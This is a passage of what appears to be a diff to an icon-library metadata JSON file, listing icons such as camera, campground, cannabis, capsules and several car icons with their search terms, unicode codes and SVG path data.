7.2-16 16-16h288c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-64zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z" + } + }, + "free": [ + "solid" + ] + }, + "camera": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "image", + "lens", + "photo", + "picture", + "record", + "shutter", + "video" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f030", + "label": "camera", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635377, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 144v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48h88l12.3-32.9c7-18.7 24.9-31.1 44.9-31.1h125.5c20 0 37.9 12.4 44.9 31.1L376 96h88c26.5 0 48 21.5 48 48zM376 288c0-66.2-53.8-120-120-120s-120 53.8-120 120 53.8 120 120 120 120-53.8 120-120zm-32 0c0 48.5-39.5 88-88 88s-88-39.5-88-88 39.5-88 88-88 88 39.5 88 88z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M512 144v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48h88l12.3-32.9c7-18.7 24.9-31.1 44.9-31.1h125.5c20 0 37.9 12.4 44.9 31.1L376 96h88c26.5 0 48 21.5 48 48zM376 288c0-66.2-53.8-120-120-120s-120 53.8-120 120 53.8 120 120 120 120-53.8 120-120zm-32 0c0 48.5-39.5 88-88 88s-88-39.5-88-88 39.5-88 88-88 88 39.5 88 88z" + } + }, + "free": [ + "solid" + ] + }, + "camera-retro": { + "changes": [ + "1", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "image", + "lens", + "photo", + "picture", + "record", + "shutter", + "video" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f083", + "label": "Retro Camera", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635376, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M48 32C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H48zm0 32h106c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H38c-3.3 0-6-2.7-6-6V80c0-8.8 7.2-16 16-16zm426 96H38c-3.3 0-6-2.7-6-6v-36c0-3.3 2.7-6 6-6h138l30.2-45.3c1.1-1.7 3-2.7 5-2.7H464c8.8 0 16 7.2 16 16v74c0 3.3-2.7 6-6 6zM256 424c-66.2 0-120-53.8-120-120s53.8-120 120-120 120 53.8 120 120-53.8 120-120 120zm0-208c-48.5 0-88 39.5-88 88s39.5 88 88 88 88-39.5 88-88-39.5-88-88-88zm-48 104c-8.8 0-16-7.2-16-16 0-35.3 28.7-64 64-64 8.8 0 16 7.2 16 16s-7.2 16-16 16c-17.6 0-32 14.4-32 32 0 8.8-7.2 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M48 32C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H48zm0 32h106c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H38c-3.3 0-6-2.7-6-6V80c0-8.8 7.2-16 16-16zm426 96H38c-3.3 0-6-2.7-6-6v-36c0-3.3 2.7-6 6-6h138l30.2-45.3c1.1-1.7 3-2.7 5-2.7H464c8.8 0 16 7.2 16 16v74c0 3.3-2.7 6-6 6zM256 424c-66.2 0-120-53.8-120-120s53.8-120 120-120 120 53.8 120 120-53.8 120-120 120zm0-208c-48.5 0-88 39.5-88 88s39.5 88 88 88 88-39.5 88-88-39.5-88-88-88zm-48 104c-8.8 0-16-7.2-16-16 0-35.3 28.7-64 64-64 8.8 0 16 7.2 16 16s-7.2 16-16 16c-17.6 0-32 14.4-32 32 0 8.8-7.2 16-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "campground": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "camping", + "fall", + "outdoors", + "teepee", + "tent", + "tipi" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6bb", + "label": "Campground", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635377, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624 448h-24.68L359.54 117.75l53.41-73.55c5.19-7.15 3.61-17.16-3.54-22.35l-25.9-18.79c-7.15-5.19-17.15-3.61-22.35 3.55L320 63.3 278.83 6.6c-5.19-7.15-15.2-8.74-22.35-3.55l-25.88 18.8c-7.15 5.19-8.74 15.2-3.54 22.35l53.41 73.55L40.68 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM320 288l116.36 160H203.64L320 288z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624 448h-24.68L359.54 117.75l53.41-73.55c5.19-7.15 3.61-17.16-3.54-22.35l-25.9-18.79c-7.15-5.19-17.15-3.61-22.35 3.55L320 63.3 278.83 6.6c-5.19-7.15-15.2-8.74-22.35-3.55l-25.88 18.8c-7.15 5.19-8.74 15.2-3.54 22.35l53.41 73.55L40.68 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM320 288l116.36 160H203.64L320 288z" + } + }, + "free": [ + "solid" + ] + }, + "canadian-maple-leaf": { + "changes": [ + "5.6.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "canada", + "flag", + "flora", + "nature", + "plant" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f785", + "label": "Canadian Maple Leaf", + "svg": { + "brands": { + "last_modified": 1558987775894, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M383.8 351.7c2.5-2.5 105.2-92.4 105.2-92.4l-17.5-7.5c-10-4.9-7.4-11.5-5-17.4 2.4-7.6 20.1-67.3 20.1-67.3s-47.7 10-57.7 12.5c-7.5 2.4-10-2.5-12.5-7.5s-15-32.4-15-32.4-52.6 59.9-55.1 62.3c-10 7.5-20.1 0-17.6-10 0-10 27.6-129.6 27.6-129.6s-30.1 17.4-40.1 22.4c-7.5 5-12.6 5-17.6-5C293.5 72.3 255.9 0 255.9 0s-37.5 72.3-42.5 79.8c-5 10-10 10-17.6 5-10-5-40.1-22.4-40.1-22.4S183.3 182 183.3 192c2.5 10-7.5 17.5-17.6 10-2.5-2.5-55.1-62.3-55.1-62.3S98.1 167 95.6 172s-5 9.9-12.5 7.5C73 177 25.4 167 25.4 167s17.6 59.7 20.1 67.3c2.4 6 5 12.5-5 17.4L23 259.3s102.6 89.9 105.2 92.4c5.1 5 10 7.5 5.1 22.5-5.1 15-10.1 35.1-10.1 35.1s95.2-20.1 105.3-22.6c8.7-.9 18.3 2.5 18.3 12.5S241 512 241 512h30s-5.8-102.7-5.8-112.8 9.5-13.4 18.4-12.5c10 2.5 105.2 22.6 105.2 22.6s-5-20.1-10-35.1 0-17.5 5-22.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M383.8 351.7c2.5-2.5 105.2-92.4 105.2-92.4l-17.5-7.5c-10-4.9-7.4-11.5-5-17.4 2.4-7.6 20.1-67.3 20.1-67.3s-47.7 10-57.7 12.5c-7.5 2.4-10-2.5-12.5-7.5s-15-32.4-15-32.4-52.6 59.9-55.1 62.3c-10 7.5-20.1 0-17.6-10 0-10 27.6-129.6 27.6-129.6s-30.1 17.4-40.1 22.4c-7.5 5-12.6 5-17.6-5C293.5 72.3 255.9 0 255.9 0s-37.5 72.3-42.5 79.8c-5 10-10 10-17.6 5-10-5-40.1-22.4-40.1-22.4S183.3 182 183.3 192c2.5 10-7.5 17.5-17.6 10-2.5-2.5-55.1-62.3-55.1-62.3S98.1 167 95.6 172s-5 9.9-12.5 7.5C73 177 25.4 167 25.4 167s17.6 59.7 20.1 67.3c2.4 6 5 12.5-5 17.4L23 259.3s102.6 89.9 105.2 92.4c5.1 5 10 7.5 5.1 22.5-5.1 15-10.1 35.1-10.1 35.1s95.2-20.1 105.3-22.6c8.7-.9 18.3 2.5 18.3 12.5S241 512 241 512h30s-5.8-102.7-5.8-112.8 9.5-13.4 18.4-12.5c10 2.5 105.2 22.6 105.2 22.6s-5-20.1-10-35.1 0-17.5 5-22.5z" + } + }, + "free": [ + "brands" + ] + }, + "candy-cane": { + "changes": [ + "5.6.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "candy", + "christmas", + "holiday", + "mint", + "peppermint", + "striped", + "xmas" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f786", + "label": "Candy Cane", + "svg": { + "solid": { + "last_modified": 1628088635378, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M497.5 92C469.6 33.1 411.8 0 352.4 0c-27.9 0-56.2 7.3-81.8 22.6L243.1 39c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5l27.5-16.4c5.1-3.1 10.8-4.5 16.4-4.5 10.9 0 21.5 5.6 27.5 15.6 9.1 15.1 4.1 34.8-11 43.9L15.6 397.6c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5L428.6 301c71.7-42.9 104.6-133.5 68.9-209zm-177.7 13l-2.5 1.5L296.8 45c9.7-4.7 19.8-8.1 30.3-10.2l20.6 61.8c-9.8.8-19.4 3.3-27.9 8.4zM145.9 431.8l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm107.5-63.9l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zM364.3 302l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm20.4-197.3l46-46c8.4 6.5 16 14.1 22.6 22.6L407.6 127c-5.7-9.3-13.7-16.9-22.9-22.3zm82.1 107.8l-59.5-19.8c3.2-5.3 5.8-10.9 7.4-17.1 1.1-4.5 1.7-9.1 1.8-13.6l60.4 20.1c-2.1 10.4-5.5 20.6-10.1 30.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M497.5 92C469.6 33.1 411.8 0 352.4 0c-27.9 0-56.2 7.3-81.8 22.6L243.1 39c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5l27.5-16.4c5.1-3.1 10.8-4.5 16.4-4.5 10.9 0 21.5 5.6 27.5 15.6 9.1 15.1 4.1 34.8-11 43.9L15.6 397.6c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5L428.6 301c71.7-42.9 104.6-133.5 68.9-209zm-177.7 13l-2.5 1.5L296.8 45c9.7-4.7 19.8-8.1 30.3-10.2l20.6 61.8c-9.8.8-19.4 3.3-27.9 8.4zM145.9 431.8l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm107.5-63.9l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zM364.3 302l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm20.4-197.3l46-46c8.4 6.5 16 14.1 22.6 22.6L407.6 127c-5.7-9.3-13.7-16.9-22.9-22.3zm82.1 107.8l-59.5-19.8c3.2-5.3 5.8-10.9 7.4-17.1 1.1-4.5 1.7-9.1 1.8-13.6l60.4 20.1c-2.1 10.4-5.5 20.6-10.1 30.4z" + } + }, + "free": [ + "solid" + ] + }, + "cannabis": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bud", + "chronic", + "drugs", + "endica", + "endo", + "ganja", + "marijuana", + "mary jane", + "pot", + "reefer", + "sativa", + "spliff", + "weed", + "whacky-tabacky" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f55f", + "label": "Cannabis", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635379, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M503.47 360.25c-1.56-.82-32.39-16.89-76.78-25.81 64.25-75.12 84.05-161.67 84.93-165.64 1.18-5.33-.44-10.9-4.3-14.77-3.03-3.04-7.12-4.7-11.32-4.7-1.14 0-2.29.12-3.44.38-3.88.85-86.54 19.59-160.58 79.76.01-1.46.01-2.93.01-4.4 0-118.79-59.98-213.72-62.53-217.7A15.973 15.973 0 0 0 256 0c-5.45 0-10.53 2.78-13.47 7.37-2.55 3.98-62.53 98.91-62.53 217.7 0 1.47.01 2.94.01 4.4-74.03-60.16-156.69-78.9-160.58-79.76-1.14-.25-2.29-.38-3.44-.38-4.2 0-8.29 1.66-11.32 4.7A15.986 15.986 0 0 0 .38 168.8c.88 3.97 20.68 90.52 84.93 165.64-44.39 8.92-75.21 24.99-76.78 25.81a16.003 16.003 0 0 0-.02 28.29c2.45 1.29 60.76 31.72 133.49 31.72 6.14 0 11.96-.1 17.5-.31-11.37 22.23-16.52 38.31-16.81 39.22-1.8 5.68-.29 11.89 3.91 16.11a16.019 16.019 0 0 0 16.1 3.99c1.83-.57 37.72-11.99 77.3-39.29V504c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-64.01c39.58 27.3 75.47 38.71 77.3 39.29a16.019 16.019 0 0 0 16.1-3.99c4.2-4.22 5.71-10.43 3.91-16.11-.29-.91-5.45-16.99-16.81-39.22 5.54.21 11.37.31 17.5.31 72.72 0 131.04-30.43 133.49-31.72 5.24-2.78 8.52-8.22 8.51-14.15-.01-5.94-3.29-11.39-8.53-14.15z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M503.47 360.25c-1.56-.82-32.39-16.89-76.78-25.81 64.25-75.12 84.05-161.67 84.93-165.64 1.18-5.33-.44-10.9-4.3-14.77-3.03-3.04-7.12-4.7-11.32-4.7-1.14 0-2.29.12-3.44.38-3.88.85-86.54 19.59-160.58 79.76.01-1.46.01-2.93.01-4.4 0-118.79-59.98-213.72-62.53-217.7A15.973 15.973 0 0 0 256 0c-5.45 0-10.53 2.78-13.47 7.37-2.55 3.98-62.53 98.91-62.53 217.7 0 1.47.01 2.94.01 4.4-74.03-60.16-156.69-78.9-160.58-79.76-1.14-.25-2.29-.38-3.44-.38-4.2 0-8.29 1.66-11.32 4.7A15.986 15.986 0 0 0 .38 168.8c.88 3.97 20.68 90.52 84.93 165.64-44.39 8.92-75.21 24.99-76.78 25.81a16.003 16.003 0 0 0-.02 28.29c2.45 1.29 60.76 31.72 133.49 31.72 6.14 0 11.96-.1 17.5-.31-11.37 22.23-16.52 38.31-16.81 39.22-1.8 5.68-.29 11.89 3.91 16.11a16.019 16.019 0 0 0 16.1 3.99c1.83-.57 37.72-11.99 77.3-39.29V504c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-64.01c39.58 27.3 75.47 38.71 77.3 39.29a16.019 16.019 0 0 0 16.1-3.99c4.2-4.22 5.71-10.43 3.91-16.11-.29-.91-5.45-16.99-16.81-39.22 5.54.21 11.37.31 17.5.31 72.72 0 131.04-30.43 133.49-31.72 5.24-2.78 8.52-8.22 8.51-14.15-.01-5.94-3.29-11.39-8.53-14.15z" + } + }, + "free": [ + "solid" + ] + }, + "capsules": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "drugs", + "medicine", + "pills", + "prescription" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f46b", + "label": "Capsules", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635379, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M555.3 300.1L424.2 112.8C401.9 81 366.4 64 330.4 64c-22.6 0-45.5 6.7-65.5 20.7-19.7 13.8-33.7 32.8-41.5 53.8C220.5 79.2 172 32 112 32 50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V218.9c3.3 8.6 7.3 17.1 12.8 25L368 431.2c22.2 31.8 57.7 48.8 93.8 48.8 22.7 0 45.5-6.7 65.5-20.7 51.7-36.2 64.2-107.5 28-159.2zM160 256H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm194.8 44.9l-65.6-93.7c-7.7-11-10.7-24.4-8.3-37.6 2.3-13.2 9.7-24.8 20.7-32.5 8.5-6 18.5-9.1 28.8-9.1 16.5 0 31.9 8 41.3 21.5l65.6 93.7-82.5 57.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M555.3 300.1L424.2 112.8C401.9 81 366.4 64 330.4 64c-22.6 0-45.5 6.7-65.5 20.7-19.7 13.8-33.7 32.8-41.5 53.8C220.5 79.2 172 32 112 32 50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V218.9c3.3 8.6 7.3 17.1 12.8 25L368 431.2c22.2 31.8 57.7 48.8 93.8 48.8 22.7 0 45.5-6.7 65.5-20.7 51.7-36.2 64.2-107.5 28-159.2zM160 256H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm194.8 44.9l-65.6-93.7c-7.7-11-10.7-24.4-8.3-37.6 2.3-13.2 9.7-24.8 20.7-32.5 8.5-6 18.5-9.1 28.8-9.1 16.5 0 31.9 8 41.3 21.5l65.6 93.7-82.5 57.7z" + } + }, + "free": [ + "solid" + ] + }, + "car": { + "changes": [ + "4.1", + "5.0.0", + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "auto", + "automobile", + "sedan", + "transportation", + "travel", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1b9", + "label": "Car", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635383, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M499.99 176h-59.87l-16.64-41.6C406.38 91.63 365.57 64 319.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4L71.87 176H12.01C4.2 176-1.53 183.34.37 190.91l6 24C7.7 220.25 12.5 224 18.01 224h20.07C24.65 235.73 16 252.78 16 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-19.22-8.65-36.27-22.07-48H494c5.51 0 10.31-3.75 11.64-9.09l6-24c1.89-7.57-3.84-14.91-11.65-14.91zm-352.06-17.83c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L384 208H128l19.93-49.83zM96 319.8c-19.2 0-32-12.76-32-31.9S76.8 256 96 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S396.8 256 416 256s32 12.76 32 31.9-12.8 31.9-32 31.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M499.99 176h-59.87l-16.64-41.6C406.38 91.63 365.57 64 319.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4L71.87 176H12.01C4.2 176-1.53 183.34.37 190.91l6 24C7.7 220.25 12.5 224 18.01 224h20.07C24.65 235.73 16 252.78 16 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-19.22-8.65-36.27-22.07-48H494c5.51 0 10.31-3.75 11.64-9.09l6-24c1.89-7.57-3.84-14.91-11.65-14.91zm-352.06-17.83c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L384 208H128l19.93-49.83zM96 319.8c-19.2 0-32-12.76-32-31.9S76.8 256 96 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S396.8 256 416 256s32 12.76 32 31.9-12.8 31.9-32 31.9z" + } + }, + "free": [ + "solid" + ] + }, + "car-alt": { + "changes": [ + "5.2.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "auto", + "automobile", + "sedan", + "transportation", + "travel", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5de", + "label": "Alternate Car", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635379, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M438.66 212.33l-11.24-28.1-19.93-49.83C390.38 91.63 349.57 64 303.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4l-19.93 49.83-11.24 28.1C17.22 221.5 0 244.66 0 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-27.34-17.22-50.5-41.34-59.67zm-306.73-54.16c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L368 208H112l19.93-49.83zM80 319.8c-19.2 0-32-12.76-32-31.9S60.8 256 80 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S380.8 256 400 256s32 12.76 32 31.9-12.8 31.9-32 31.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "480", + "512" + ], + "width": 480, + "height": 512, + "path": "M438.66 212.33l-11.24-28.1-19.93-49.83C390.38 91.63 349.57 64 303.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4l-19.93 49.83-11.24 28.1C17.22 221.5 0 244.66 0 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-27.34-17.22-50.5-41.34-59.67zm-306.73-54.16c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L368 208H112l19.93-49.83zM80 319.8c-19.2 0-32-12.76-32-31.9S60.8 256 80 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S380.8 256 400 256s32 12.76 32 31.9-12.8 31.9-32 31.9z" + } + }, + "free": [ + "solid" + ] + }, + "car-battery": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "auto", + "electric", + "mechanic", + "power" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5df", + "label": "Car Battery", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635379, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 128h-32V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v48H192V80c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v48H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32zM192 264c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm256 0c0 4.42-3.58 8-8 8h-40v40c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-40h-40c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h40v-40c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v40h40c4.42 0 8 3.58 8 8v16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M480 128h-32V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v48H192V80c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v48H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32zM192 264c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm256 0c0 4.42-3.58 8-8 8h-40v40c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-40h-40c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h40v-40c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v40h40c4.42 0 8 3.58 8 8v16z" + } + }, + "free": [ + "solid" + ] + }, + "car-crash": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "accident", + "auto", + "automobile", + "insurance", + "sedan", + "transportation", + "vehicle", + "wreck" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5e1", + "label": "Car Crash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635381, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M143.25 220.81l-12.42 46.37c-3.01 11.25-3.63 22.89-2.41 34.39l-35.2 28.98c-6.57 5.41-16.31-.43-14.62-8.77l15.44-76.68c1.06-5.26-2.66-10.28-8-10.79l-77.86-7.55c-8.47-.82-11.23-11.83-4.14-16.54l65.15-43.3c4.46-2.97 5.38-9.15 1.98-13.29L21.46 93.22c-5.41-6.57.43-16.3 8.78-14.62l76.68 15.44c5.26 1.06 10.28-2.66 10.8-8l7.55-77.86c.82-8.48 11.83-11.23 16.55-4.14l43.3 65.14c2.97 4.46 9.15 5.38 13.29 1.98l60.4-49.71c6.57-5.41 16.3.43 14.62 8.77L262.1 86.38c-2.71 3.05-5.43 6.09-7.91 9.4l-32.15 42.97-10.71 14.32c-32.73 8.76-59.18 34.53-68.08 67.74zm494.57 132.51l-12.42 46.36c-3.13 11.68-9.38 21.61-17.55 29.36a66.876 66.876 0 0 1-8.76 7l-13.99 52.23c-1.14 4.27-3.1 8.1-5.65 11.38-7.67 9.84-20.74 14.68-33.54 11.25L515 502.62c-17.07-4.57-27.2-22.12-22.63-39.19l8.28-30.91-247.28-66.26-8.28 30.91c-4.57 17.07-22.12 27.2-39.19 22.63l-30.91-8.28c-12.8-3.43-21.7-14.16-23.42-26.51-.57-4.12-.35-8.42.79-12.68l13.99-52.23a66.62 66.62 0 0 1-4.09-10.45c-3.2-10.79-3.65-22.52-.52-34.2l12.42-46.37c5.31-19.8 19.36-34.83 36.89-42.21a64.336 64.336 0 0 1 18.49-4.72l18.13-24.23 32.15-42.97c3.45-4.61 7.19-8.9 11.2-12.84 8-7.89 17.03-14.44 26.74-19.51 4.86-2.54 9.89-4.71 15.05-6.49 10.33-3.58 21.19-5.63 32.24-6.04 11.05-.41 22.31.82 33.43 3.8l122.68 32.87c11.12 2.98 21.48 7.54 30.85 13.43a111.11 111.11 0 0 1 34.69 34.5c8.82 13.88 14.64 29.84 16.68 46.99l6.36 53.29 3.59 30.05a64.49 64.49 0 0 1 22.74 29.93c4.39 11.88 5.29 25.19 1.75 38.39zM255.58 234.34c-18.55-4.97-34.21 4.04-39.17 22.53-4.96 18.49 4.11 34.12 22.65 39.09 18.55 4.97 45.54 15.51 50.49-2.98 4.96-18.49-15.43-53.67-33.97-58.64zm290.61 28.17l-6.36-53.29c-.58-4.87-1.89-9.53-3.82-13.86-5.8-12.99-17.2-23.01-31.42-26.82l-122.68-32.87a48.008 48.008 0 0 0-50.86 17.61l-32.15 42.97 172 46.08 75.29 20.18zm18.49 54.65c-18.55-4.97-53.8 15.31-58.75 33.79-4.95 18.49 23.69 22.86 42.24 27.83 18.55 4.97 34.21-4.04 39.17-22.53 4.95-18.48-4.11-34.12-22.66-39.09z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M143.25 220.81l-12.42 46.37c-3.01 11.25-3.63 22.89-2.41 34.39l-35.2 28.98c-6.57 5.41-16.31-.43-14.62-8.77l15.44-76.68c1.06-5.26-2.66-10.28-8-10.79l-77.86-7.55c-8.47-.82-11.23-11.83-4.14-16.54l65.15-43.3c4.46-2.97 5.38-9.15 1.98-13.29L21.46 93.22c-5.41-6.57.43-16.3 8.78-14.62l76.68 15.44c5.26 1.06 10.28-2.66 10.8-8l7.55-77.86c.82-8.48 11.83-11.23 16.55-4.14l43.3 65.14c2.97 4.46 9.15 5.38 13.29 1.98l60.4-49.71c6.57-5.41 16.3.43 14.62 8.77L262.1 86.38c-2.71 3.05-5.43 6.09-7.91 9.4l-32.15 42.97-10.71 14.32c-32.73 8.76-59.18 34.53-68.08 67.74zm494.57 132.51l-12.42 46.36c-3.13 11.68-9.38 21.61-17.55 29.36a66.876 66.876 0 0 1-8.76 